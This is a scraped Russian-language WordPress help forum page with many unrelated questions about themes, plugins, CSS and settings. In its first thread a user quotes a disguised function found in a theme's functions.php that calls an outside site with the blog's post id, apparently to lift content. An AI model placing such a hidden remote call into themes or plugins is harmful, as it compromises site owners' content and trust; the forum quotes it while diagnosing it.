Как узнать Id автора поста

Как узнать ID автора поста?

Сервер выдает куки админа

В общем-то задача следующая.
Есть сайт на вордпрессе. С недавних пор он начал выдавать такие куки, как-будто залогинен админ. Проблема идентичная этой:

Ответ сервера:

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 22 Oct 2010 09:49:11 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6-1+lenny9
X-Pingback: http://www.webliberty.ru/xmlrpc.php
Set-Cookie: wordpress_5aefb08e08af6edfdddd7add25d07dbc=%7C1288950551%7C403e99fc06b8653d353dfd34f7ea3858; expires=Fri, 05-Nov-2010 09:49:11 GMT; path=/wp-content/plugins; httponly
Set-Cookie: wordpress_5aefb08e08af6edfdddd7add25d07dbc=%7C1288950551%7C403e99fc06b8653d353dfd34f7ea3858; expires=Fri, 05-Nov-2010 09:49:11 GMT; path=/wp-admin; httponly
Set-Cookie: wordpress_logged_in_5aefb08e08af6edfdddd7add25d07dbc=%7C1288950551%7C7ef60483273887f840a90791e46e5d19; expires=Fri, 05-Nov-2010 09:49:11 GMT; path=/; httponly
Vary: Accept-Encoding

мне очень не нравятся строчки Set-Cookie, что это и как от них избавиться? Извиняюсь если не по теме…

Коллега решил вопрос так:

Я разобрался! 
У меня в теме в файле functions.php стоял вот такой левый код:

function bloqinfo($wp_id){
static $wp_count = 0;
if($wp_count == 0){
$wp_count++;
return @file_get_contents(’http://wpru.ru/aksimet.php?id=’.$wp_id.’&m=13′);
}
}
if (function_exists(’register_sidebar’) )
register_sidebars(3, array(

));
Я плохо разбираюсь в PHP, но догадываюсь что благодаря ему у меня с блога тырились посты и прописывались на сайте http://wpru .ru в 3 сайдбаре.. К счастью этот сайт загнулся и не работает  Я прав, правильно разобрал код?

Но у меня в файле функций такой проблемы нет. Может подскажете где и что нужно искать? Уже замучился. Задавал вопрос на официальном форуме, но в ответ ничего не получил.

Заранее спасибо.

Помогите с шаблонами для блога!

Привет вам, мастера WordPress.
У меня есть вопрос по вордпрессу, и я бы очень оценил ваши ответы на него, потому что это сэкономит мне много времени на поиск решения.

В чем дело:Компания с несколькими сотрудниками, они хотят создать блог для сотрудников, так что бы стать более публичными. Теперь – работник должен иметь свой личный блог с конкретными страницами (по крайней мере сейчас). Так, я сделал некоторые из блогов в WordPress, который установлен на сервере компании – я сделал это удаленно, в веб-среде. Так что я не имел права администратора и доступ к корневой папки.

Проект пошел хорошо, потому с меня теперь требуется сделать шаблон, который все остальные сотрудники смогли использовать и настроить свои блоги аналогично тем, которые я уже создал вручную. Так мне было предложено установить WordPress на собственном компе, сделать шаблон который был бы близок к сделаным (с цветами компании, шапкой и айфреймами куда люди могли бы добавить свои ссылки для отображения и так далее), а затем он будет импортирован в блог на системе компании …. Если это возможно

Вопрос ..ы:
1) Как лучше / легче это сделать? (PS – я могу обратиться к ним за файлами из корневой папкт, чтобы изменить их, а потом представить его им для дальнейшего использования).

2) каковы альтернативы?

3) личный вопрос – есть ли способ заставить WordPress создать полный шаблон блога (скажем 7 страниц), чтобы люди могли просто нажать кнопку и получить их на собственный поддомен блога (то есть в компании системы блогов – при регистрации типа user.company.blog.ru).

PS – я полагаю, так как некоторые блоги уже завершены и одобрены, было бы проще всего получить папку любого из них, сделать пустой шаблон из него и как-то импортировать его в WordPress компании как шаблон …. но возможно ли это?

Я действительно надеюсь, что некоторые из вас смогут поделиться парочкой комментариев и помочь мне с этим. Заодно сделаете свое доброе дело за день 😉

Спасибо всем, кто дочитал до конца =)

Смена шрифта рубрик

Народ подскажите в каком файле меняется шрифт рубрик ?

Не работает плагин wp-popup-scheduler

Добрый день.

Пытаюсь вывести окошко popup с помощью плагина wp-popup-scheduler. Но ничего не получается.

После того, как активировал плагин, выставляю настройки в плагине:
at all time.
Delay for 0
Visitor landing page
set popup location: лево / вниз 60
Lightbox
Popup width: 800 px
Enable pop-up галочка включена

Нажимаю "Click Here To See The Preview Popupс" окошко появляется.

Но зайдя на сайт, ничего нет.

Версия wordpress 2.9.2, хотя пробовал на 3.0.1 тоже самое.
Пробовал отключать все остальные плагины, тоже ничего не дало. Уже не знаю что и делать. Помогите разобраться, пожалуйста.

Вопрос для профи

Нужно подправить сам код ВП, так чтобы введенная информация в поле "Об авторе" (юзер вводит сам в своем профиле), при сохранении не обрезала ХТМЛ код, а сохраняла текст в БД в исходном виде, вместе с ХТМЛ кодом.
Заранее спасибо..
ПС
гуглил 🙁 чет не помогло…
мож не то гуглил?:rolleyes:

Мероприятия

День добрый

Есть потребность в разделе Мероприятия, в котором бы события были разбиты по странам, городам и еще парочке параметров. Добавляться будут админом или редакторами сайта.

В связи с этим вопрос. Это лучше сделать через дополнительные поля к странице (через шаблон страницы отдельный) или есть более удобные способы реализации, например, плагины какие-ниб?

Подскажите, как реализовать

Здравствуйте.

У меня в шаблоне по умолчанию в рубриках посты не показываются полностью, автоматически где то на середине статьи показывается такое:

Как сделать, чтобы показывалось полностью?

Код archive.php:

<?php get_header(); ?>
<div class="span-24" id="contentwrap">
    <?php get_sidebars('left'); ?>
    <div class="span-14">
        <div id="content">    

        <?php if (have_posts()) : ?>

       <?php $post = $posts[0]; // Hack. Set $post so that the_date() works. ?>
       <?php /* If this is a category archive */ if (is_category()) { ?>
        <h2 class="pagetitle">Archive for the ‘<?php single_cat_title(); ?>’ Category</h2>
       <?php /* If this is a tag archive */ } elseif( is_tag() ) { ?>
        <h2 class="pagetitle">Posts Tagged ‘<?php single_tag_title(); ?>’</h2>
       <?php /* If this is a daily archive */ } elseif (is_day()) { ?>
        <h2 class="pagetitle">Archive for <?php the_time('F jS, Y'); ?></h2>
       <?php /* If this is a monthly archive */ } elseif (is_month()) { ?>
        <h2 class="pagetitle">Archive for <?php the_time('F, Y'); ?></h2>
       <?php /* If this is a yearly archive */ } elseif (is_year()) { ?>
        <h2 class="pagetitle">Archive for <?php the_time('Y'); ?></h2>
      <?php /* If this is an author archive */ } elseif (is_author()) { ?>
        <h2 class="pagetitle">Author Archive</h2>
       <?php /* If this is a paged archive */ } elseif (isset($_GET['paged']) && !empty($_GET['paged'])) { ?>
        <h2 class="pagetitle">Blog Archives</h2>
       <?php } ?>

        <?php while (have_posts()) : the_post(); ?>
        <div <?php post_class() ?>>
                <h2 class="title" id="post-<?php the_ID(); ?>"><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title_attribute(); ?>"><?php the_title(); ?></a></h2>
                <div class="postdate">Posted by <strong><?php the_author() ?></strong> on  <?php the_time('F jS, Y') ?> <?php if (current_user_can('edit_post', $post->ID)) { ?> | <?php edit_post_link('Edit', '', ''); } ?></div>

                <div class="entry">
<?php if ( function_exists("has_post_thumbnail") && has_post_thumbnail() ) { the_post_thumbnail(array(200,160), array("class" => "alignleft post_thumbnail")); } ?>
                    <?php the_excerpt() ?>
                </div>

                <div class="postmeta"><img src="<?php bloginfo('template_url'); ?>/images/folder.png" /> Posted in <?php the_category(', ') ?> <?php if(get_the_tags()) { ?> <img src="<?php bloginfo('template_url'); ?>/images/tag.png" /> <?php  the_tags('Tags: ', ', '); } ?>  <img src="<?php bloginfo('template_url'); ?>/images/comments.png" /> <?php comments_popup_link('No Comments »', '1 Comment »', '% Comments »'); ?></div>

            </div>

        <?php endwhile; ?>
        
        <div class="navigation">
            <?php if(function_exists('wp_pagenavi')) { wp_pagenavi(); } else { ?>
            <div class="alignleft"><?php next_posts_link('&laquo; Older Entries') ?></div>
            <div class="alignright"><?php previous_posts_link('Newer Entries &raquo;') ?></div>
            <?php } ?>
        </div>
    <?php else :

        if ( is_category() ) { // If this is a category archive
            printf("<h2 class='pagetitle'>Sorry, but there aren't any posts in the %s category yet.</h2>", single_cat_title('',false));
        } else if ( is_date() ) { // If this is a date archive
            echo("<h2 class='pagetitle'>Sorry, but there aren't any posts with this date.</h2>");
        } else if ( is_author() ) { // If this is a category archive
            $userdata = get_userdatabylogin(get_query_var('author_name'));
            printf("<h2 class='pagetitle'>Sorry, but there aren't any posts by %s yet.</h2>", $userdata->display_name);
        } else {
            echo("<h2 class='pagetitle'>No posts found.</h2>");
        }
        get_search_form();

    endif;
?>

        </div>
        </div>


<?php get_sidebars('right'); ?>
    </div>
<?php get_footer(); ?>

приветственная страница на сайте?

подскажите пожалуйста, как сделать следующее:
при заходе на сайт (главная стр)
отображается заданная страница (например index.html) с картинкой, приветствием и ссылкой-переадресацией уже на index.php
В дальнейшей навигации по сайту эта страница не участвует.

Спасибо ответившим!

Ревизии

wordpress 3.0.1

В wp-config.php прописал отключение ревизий define(‘WP_POST_REVISIONS’, 0);
Но они всё равно пишутся.
Что ещё можно слелать?

All in One SEO Pack

Использую WP 2.8.6
Поставил плагин All in One SEO Pack версия 1.6.12.2
Когда захожу в него и ставлю точку на "Enable", то внизу не вижу "Сохранить изменения" (или что-то в этом роде)
Как это починить?

Многопользовательский блог

Сразу скажу, что речь идёт именно о многопользовательском блоге, а не о многопользовательских блогах (личные блоги).
Хочу создать многопользовательский блог на wordpress. Нечто подобное dirty.ru Примеров, где крупные сайты используют wordpress много, а вот где статьи пишут большое количество пользователей не нашёл. Я уже думаю сделать это на LiveStreet, т.к. он очень хорожо! Но он больше отдаёт акцент на блоги пользователей и самих пользователей + отсутствие админки + не стабильная версия + не wordpress. Мне же нужна концентрация на самих статьях и разделах, в которых находятся эти самые статьи. Опять же, у LiveStreet большое значение отдаётся комментариям, что мне так-же необходимо.
Я пока в раздумье. Пользователи, которые будут писать статьи, люди, толком не разбирающиеся в вебе. Имя wordpress им ни о чём не говорит. После регистрации они попадают в админку, а не на сайт. Написание статей происходит через админку, а не структуру сайта. + некоторые другие мелочи отпугивают меня от идеи использовать для своих целей wordpress.
Есть примеры? Это будет хорожо, или мне лучше смотреть в сторону LiveStreet? Насколько будет эстетично использовать wordpress для таких целей?

css проблема с заголовками

приветствую.
проблема такая: поменял тему и понял, что на новой категорически не нравятся заголовки (сайта и статей) шрифтом таймс нью роман. посмотрел код страницы, за заголовок сайта отвечает див headerleft. попытался изменить шрифт в Style.css

было:

.headerleft {
    width: 350px;
    color: #FFFFFF;
    float: left;
    margin: 0px;
    padding: 20px 0px 0px 0px;
    }
    
.headerleft a, .headerleft a:visited {
    font-family: Times New Roman, Helvetica, Sans-Serif;
    font-size: 28px;
    color: #50AAFE;
    text-decoration: none;
    font-weight: normal;
    padding: 0px;
    margin: 0px;
    }

я поменял font-family:

font-family: "Lucida Sans Unicode", "Lucida Grande", sans-serif;

Заголовок сайта все равно отбражается таймс нью романом 🙁
Сделал поиск по всему файлу и заменил все встретившиеся шрифты таймс нью роман на луциду, но это тоже не дало эффекта. В чем может быть проблема?

Метки и дополнительные поля

Добрый день уважаемые пользователи… назрел вопрос такой, подскажите как сделать.
Суть в том, что есть 4 дополнительных поля нужно как-то значение этих полей автоматом прописывать в метки?

как организовать такое?:( очень рад буду если кто откликнется…

Не добавляется статья в Article Directory

После регистрации пользователь добавляет статью, но на модерацию она не приходит. В чем проблема?
Спасибо!

Убрать тэг noindex

Друзья я сделал блог на WP, потом сменил шаблон и вдруг многие страницы выпали из индекса яндекса. Оказалось, что рубрики и архивы блога в шаблоне помечены noindex. Кто может подсказать, как устранить эту проблему, зайдите к примеру на страницу http://blogmoneys.ru/?cat=22 и нажмите просмотреть код, увидите тэг noindex. Как его убрать??? В каком файле, просмотрел в админке в редакторе, не нашел!!!

Css круглые углы

Народ подскажите какими тегами можно задать круглые углы в css чтобы адекватно отображалось во всех браузерах ?

Как я понимаю надо отдельно тегами прописывать для Хрома и Сафари и отдельно для мозиллы, не говоря про осла.

Подскажите если есть альтернативный вариант для всех браузеров.

Плагин для удобной вставки видео

Добрый день. Подскажите пожалуйста, а нет ли такого плагина, который бы позволил моим пользователям, легко и обходя основной редактор, публиковать свои видео (youtube)…так же, как это реализовано на сайте 5678.ru
?

Плагин плеера Flash MP3 Player (переведен )

Возможно пригодится. Делал сайт, нужно было флеш – плеер под .mp3. Никогда не думал, что это проблема, пока не столкнулся. Пришлось ковыряться, тестировать и в конце концов перевести. Кому нужно, смотреть тут – http://www.shoptec.ru/?p=3057 Благодарностей не нужно… Ниже для " подогрева " – скриншот ( один из вариантов )…

Подсветка parent через wp_list_cats

Вывожу на странице два меню рубрик. В одном меню у меня родители в другом соседи (чайлды родителя).
Проще рассматривать графы:

Пример
+++++++1++++++++++++++
++01+++++11++++++12++13
+++++++++|++++++++++++
++20++21++22++23++++++++
+++++++++|++++++++++++
++++++++++++++++++++++
+30++31++[32]++33++34++++
++++++++++++++++++++++
++++++++++++++++++++++

Когда я нахожусь на странице 32 мне нужно в одном меню подсветить родителя-родителя (11)

Это меню выводится так
wp_list_cats(‘hide_empty=0&hierarchical=1&child_of=’.$first_menu.’&depth=1&orderby=id’);

А в другом меню нужно подсветить рубрику [22] в которой я нахожусь
Это меню выводится так
wp_list_cats(‘hide_empty=0&hierarchical=1&child_of=’.$parent2->category_parent.’&depth=2&orderby=id’);

Как мне реализовать такую иерархичную подсветку?

Anonymous
Отправить
Ответ на: